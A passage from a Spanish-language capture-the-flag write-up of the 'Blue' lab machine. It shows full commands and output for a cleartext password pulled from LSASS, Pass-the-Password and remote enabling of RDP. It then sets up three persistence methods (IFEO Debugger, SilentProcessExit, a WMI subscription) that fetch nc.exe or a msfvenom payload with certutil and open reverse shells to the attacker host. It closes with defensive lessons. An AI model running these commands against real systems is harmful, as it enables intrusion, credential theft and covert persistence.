De LSASS sale el hash NT (el mismo cdf51b16... que ya teníamos, lo que cierra el círculo) y, en el bloque wdigest, la contraseña en texto claro: ejfnIWWDojfWEKM. Ese proveedor guardaba la contraseña reversible en memoria para poder reautenticar contra servidores antiguos, y en Windows 7 venía activo por defecto. Desde Windows 8.1 Microsoft lo deshabilitó, que es la razón de que esta técnica sea tan espectacular en sistemas viejos y mucho menos en modernos. Nótese que Kerberos aparece con (null): coherente con un equipo en grupo de trabajo, donde Kerberos no se usa.

La verificamos desde fuera:

crackmapexec smb 10.10.10.40 -u 'Administrator' -p ejfnIWWDojfWEKM 2>/dev/null

crackmapexec valida la contraseña en claro recuperada de LSASS con Pwn3d!

SMB  10.10.10.40  445  HARIS-PC  [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)
SMB  10.10.10.40  445  HARIS-PC  [+] haris-PC\Administrator:ejfnIWWDojfWEKM (Pwn3d!)

(Pwn3d!) otra vez, ahora con la contraseña en claro en lugar del hash.

Habilitar RDP desde CrackMapExec

El escaneo inicial dejó claro que el puerto 3389 no estaba abierto, así que no hay Escritorio Remoto. Teniendo credenciales de administrador podemos activarlo, porque no es más que un valor del registro y una regla de cortafuegos, y crackmapexec trae un módulo que hace ambas cosas:

crackmapexec smb 10.10.10.40 -u 'Administrator' -p ejfnIWWDojfWEKM -M rdp -o action=enable 2>/dev/null
rdesktop 10.10.10.40 -u Administrator -p ejfnIWWDojfWEKM

crackmapexec habilita RDP y rdesktop abre el escritorio de Windows 7 con root.txt visible

SMB  10.10.10.40  445  HARIS-PC  [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)
SMB  10.10.10.40  445  HARIS-PC  [+] haris-PC\Administrator:ejfnIWWDojfWEKM (Pwn3d!)
RDP  10.10.10.40  445  HARIS-PC  [+] RDP enabled successfully

# rdesktop 10.10.10.40 -u Administrator -p ejfnIWWDojfWEKM
ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);
 1. Certificate issuer is not trusted by this system.
     Issuer: CN=haris-PC
...
Do you trust this certificate (yes/no)? yes
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.

RDP enabled successfully y, tras aceptar el certificado autofirmado del propio equipo, el escritorio de Windows 7 con el root.txt a la vista. El aviso de Failed to initialize NLA es esperable: NLA se apoya en Kerberos y aquí no hay dominio, así que la autenticación cae al método clásico.

Conviene decirlo aunque sea obvio: abrir RDP es la acción más ruidosa de todo el writeup. Cambia la configuración del equipo, abre un puerto nuevo al mundo y deja huella en el registro y en el cortafuegos. En un pentest real se documenta y se revierte.

Persistencia

Las tres técnicas que siguen tienen algo en común: no crean un servicio nuevo ni una tarea programada, que es lo primero que se mira. Se apoyan en mecanismos legítimos de Windows pensados para depuración y diagnóstico.

Todas necesitan un netcat en la víctima, así que lo transferimos primero por el mismo camino que antes:

ls
python3 -m http.server 80

el servidor HTTP sirve nc.exe dos veces con código 200

# ls
AutoBlue-MS17-010  Ebowla  nc.exe  netcat

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.40 - - [23/Jun/2025 15:50:02] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.40 - - [23/Jun/2025 15:50:03] "GET /nc.exe HTTP/1.1" 200 -
cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://10.10.16.5/nc.exe

certutil descarga nc.exe a C:\Windows\Temp

C:\Windows>cd C:\Windows\Temp

C:\Windows\Temp>certutil.exe -f -urlcache -split http://10.10.16.5/nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

b0d8 hexadecimal son 45 272 bytes, el tamaño de nc.exe.

1. Depurador asociado a un programa (al abrirlo)

La clave Image File Execution Options existe para que un desarrollador pueda decirle a Windows "cuando alguien lance este .exe, arráncalo bajo mi depurador". El sistema no comprueba que el "depurador" sea realmente un depurador: ejecuta lo que se le ponga, pasándole el programa original como argumento. Es una puerta trasera integrada de fábrica.

Para que la víctima no note nada, primero guardamos una copia de la calculadora legítima:

cd C:\Windows\System32
copy calc.exe _calc.exe

copia de calc.exe a _calc.exe dentro de System32

C:\Windows\Temp>cd C:\Windows\System32

C:\Windows\System32>copy calc.exe _calc.exe
        1 file(s) copied.

Ahora registramos como "depurador" de calc.exe un comando que arranca la copia (para que la calculadora siga apareciendo) y, encadenado con &, un netcat hacia nosotros:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Windows\Temp\nc.exe -e cmd 10.10.16.5 443" /f

reg add registra el valor Debugger para calc.exe apuntando a la copia y a netcat

C:\Windows\System32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Windows\Temp\nc.exe -e cmd 10.10.16.5 443" /f
The operation completed successfully.

Ponemos un listener y esperamos a que el usuario abra la calculadora desde el menú de inicio:

nc -nlvp 443

al abrir la calculadora llega la reverse shell, pero la ventana muestra que _calc.exe no se ha reconocido

# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.40] 49176
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

# ventana que ve la victima
'_calc.exe' is not recognized as an internal or external command,
operable program or batch file.

La reverse shell llega, pero la captura enseña el fallo de la mitad encubierta: la ventana que ve la víctima muestra '_calc.exe' is not recognized as an internal or external command. El cmd /C no hereda System32 como directorio de trabajo y _calc.exe no está en el PATH, así que la calculadora nunca aparece. Se arregla poniendo la ruta absoluta (C:\Windows\System32\_calc.exe), y merece la pena dejarlo escrito en lugar de disimularlo, porque es justo el detalle que delata la técnica: el usuario ve una ventana negra con un error donde esperaba una calculadora.

Ese es el punto débil de este método incluso cuando funciona: queda una cmd visible y, si el usuario la cierra, se pierde la conexión.

2. SilentProcessExit (al cerrar un programa)

La segunda variante dispara al cerrar el programa en lugar de al abrirlo, lo que resulta bastante más natural: el usuario termina lo que estaba haciendo, cierra la ventana y en ese momento se lanza la conexión. Windows lo permite mediante SilentProcessExit, un mecanismo de diagnóstico que ejecuta un proceso monitor cuando otro termina.

Hacen falta cuatro claves, y hay que activar antes el GlobalFlag que le dice al sistema que vigile ese ejecutable:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\Temp\nc.exe -e C:\Windows\System32\cmd.exe 10.10.16.5 443" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ExitStatus /t REG_DWORD /d 0 /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v DumpType /t REG_DWORD /d 0 /f /reg:64

las cinco claves de SilentProcessExit creadas, con el cmd pidiendo More? por los acentos circunflejos

C:\Windows\system32>reg add "HKLM\...\Image File Execution Options\notepad.exe" ^
    /v GlobalFlag /t REG_DWORD /d 512 /f /reg:6More?
The operation completed successfully.

C:\Windows\system32>reg add "HKLM\...\SilentProcessExit\notepad.exe" ^
    /v ReportingMode /t REG_DWORD /d 1 /f /reg:6More?
The operation completed successfully.

C:\Windows\system32>reg add "HKLM\...\SilentProcessExit\notepad.exe" ^
    /v MonitorProcess /t REG_SZ ^
    /d "C:\Windows\Temp\nc.exe -e C:\Windows\System32\cmd.exe 10.10.16.5 443" ^
    /f /reg:6More?More?
The operation completed successfully.

C:\Windows\system32>reg add "HKLM\...\SilentProcessExit\notepad.exe" ^
    /v ExitStatus /t REG_DWORD /d 0 /f /reg:6More?
The operation completed successfully.

C:\Windows\system32>reg add "HKLM\...\SilentProcessExit\notepad.exe" ^
    /v DumpType /t REG_DWORD /d 0 /f /reg:6More?
The operation completed successfully.

Cada valor cumple un papel: GlobalFlag = 512 activa el seguimiento de fin de proceso, ReportingMode = 1 hace que se lance el monitor, MonitorProcess es el programa a lanzar (nuestro netcat), ExitStatus = 0 limita el disparo a las salidas limpias y DumpType = 0 evita que Windows genere un volcado de memoria que llamaría la atención.

La captura, además, deja ver un detalle práctico de la consola de Windows: los acentos circunflejos (^) que parten los comandos en varias líneas hacen que cmd responda More? pidiendo continuación, y esos More? se mezclan con el texto del comando en la propia línea. Es ruido del terminal, no un error, y cada bloque acaba con su The operation completed successfully.

El resultado es mejor que el anterior porque no hay ventana espuria al abrir, pero comparte el mismo talón de Aquiles: la conexión vive mientras viva la cmd que la sostiene.

3. Suscripción de eventos WMI (a intervalos fijos)

La tercera es la buena. WMI permite registrar una suscripción permanente que ejecuta algo cuando ocurre un evento del sistema, y esa suscripción vive en el repositorio de WMI, no en las claves de arranque que revisa cualquier herramienta de autoruns. Sobrevive a reinicios y no depende de que ningún usuario abra nada.

Primero, el ejecutable que hará de reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=443 -f exe -o persistence.exe
python3 -m http.server 80

msfvenom genera persistence.exe de 7168 bytes y se levanta el servidor HTTP

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: persistence.exe

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://10.10.16.5/persistence.exe
dir

certutil descarga persistence.exe y el dir lo muestra junto a nc.exe en C:\Windows\Temp

C:\Windows\Temp>certutil.exe -f -urlcache -split http://10.10.16.5/persistence.exe
****  Online  ****
  0000  ...
  1c00
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp>dir
 Directory of C:\Windows\Temp

23/06/2025  21:03    <DIR>          .
23/06/2025  21:03    <DIR>          ..
23/06/2025  20:27            45,272 nc.exe
23/06/2025  21:03             7,168 persistence.exe
18/02/2022  16:32    <DIR>          vmware-SYSTEM
23/06/2025  15:25            61,870 vmware-vmsvc.log
18/02/2022  17:11            21,805 vmware-vmusr.log
23/06/2025  15:25             1,365 vmware-vmss.log
               5 File(s)        137,480 bytes
               3 Dir(s)   2,684,338,176 bytes free

Los 7168 bytes del dir coinciden con el Final size of exe file de msfvenom, así que el fichero llegó entero.

La suscripción se monta en tres piezas: un filtro (qué evento vigilar), un consumidor (qué ejecutar) y un binding que une los dos.

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\Windows\Temp\persistence.exe",CommandLineTemplate="C:\Windows\Temp\persistence.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=""persistence""", Consumer="CommandLineEventConsumer.Name=""persistence"""

los tres comandos wmic crean el filtro, el consumidor y el binding, cada uno con Instance creation successful

C:\Windows\Temp>wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
Instance creation successful.

C:\Windows\Temp>wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\Windows\Temp\persistence.exe",CommandLineTemplate="C:\Windows\Temp\persistence.exe"
Instance creation successful.

C:\Windows\Temp>wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=""persistence""", Consumer="CommandLineEventConsumer.Name=""persistence"""

Instance creation successful.

La consulta WQL es la parte interesante. Win32_PerfFormattedData_PerfOS_System es una clase de contadores de rendimiento que cambia constantemente, y WITHIN 60 le dice a WMI que compruebe cada 60 segundos si ha cambiado. Como cambia siempre, el efecto práctico es un disparo cada minuto, pero sin crear nada que se parezca a una tarea programada: por dentro no es más que una suscripción a un contador de rendimiento.

Solo queda escuchar:

sudo rlwrap nc -nlvp 443

el listener recibe la reverse shell lanzada automáticamente por la suscripción WMI

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.40] 49167
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

Cada minuto llega una shell nueva sin intervención de nadie, y esta vez sin ventana visible en el escritorio de la víctima. rlwrap se usa para que la cmd recuerde el historial y acepte las flechas, que en una shell cruda no funcionan.

Cadena de ataque

Windows 7 + SMBv1 (:445)
   │  nmap smb-vuln-ms17-010 → VULNERABLE (CVE-2017-0143)
   ▼
EternalBlue / MS17-010 (AutoBlue, sin Metasploit)
   ▼
shell directa como NT AUTHORITY\SYSTEM  →  user.txt + root.txt
   │
   ├─ reg save SAM/SYSTEM → secretsdump → hash NT de Administrator
   │     └─ Pass-the-Hash (crackmapexec / psexec.py)
   │
   ├─ Mimikatz ofuscado con Ebowla → LSASS → contraseña en claro (wdigest)
   │     └─ RDP habilitado con crackmapexec -M rdp
   │
   └─ Persistencia: IFEO Debugger · SilentProcessExit · suscripción WMI

Lecciones aprendidas

  • SMBv1 sin parchear es ejecución remota como SYSTEM. MS17-010 no necesita credenciales ni interacción del usuario; fue el motor de WannaCry. El parche existe desde marzo de 2017 y SMBv1 debería estar deshabilitado, no solo parcheado.
  • Un hash NT vale tanto como la contraseña. Con Pass-the-Hash el atacante se autentica sin conocerla ni crackearla. Por eso importa proteger el SAM y LSASS y segmentar la red para que un equipo comprometido no permita moverse a otros.
  • lsass.exe es un cofre de credenciales. Mimikatz saca de su memoria hashes y, cuando wdigest está activo como en Windows 7, texto claro. Credential Guard, RunAsPPL y reducir las sesiones interactivas privilegiadas limitan el botín.
  • La evasión moderna no es ofuscar, es condicionar. Ebowla no disfraza a Mimikatz: lo cifra con una clave derivada del entorno del objetivo, de forma que fuera de esa máquina el binario es un bloque de datos inútil. Detectarlo por firma estática deja de servir, y por eso la defensa se ha desplazado al comportamiento (quién abre lsass.exe, no qué fichero lo hace).
  • La persistencia vive en mecanismos legítimos. Ni Image File Execution Options, ni SilentProcessExit, ni las suscripciones WMI son malware: son funciones de depuración y diagnóstico del propio Windows. Auditar esas tres ramas del registro y el repositorio de WMI (root\subscription) es tan importante como revisar el arranque.
  • Lo viejo sigue vivo. Blue parece un laboratorio, pero los Windows 7 con SMBv1 sin parche aún existen en redes reales; el inventario y el parcheo no son opcionales.
Cheatsheet de comandos 12 comandos

Repaso rápido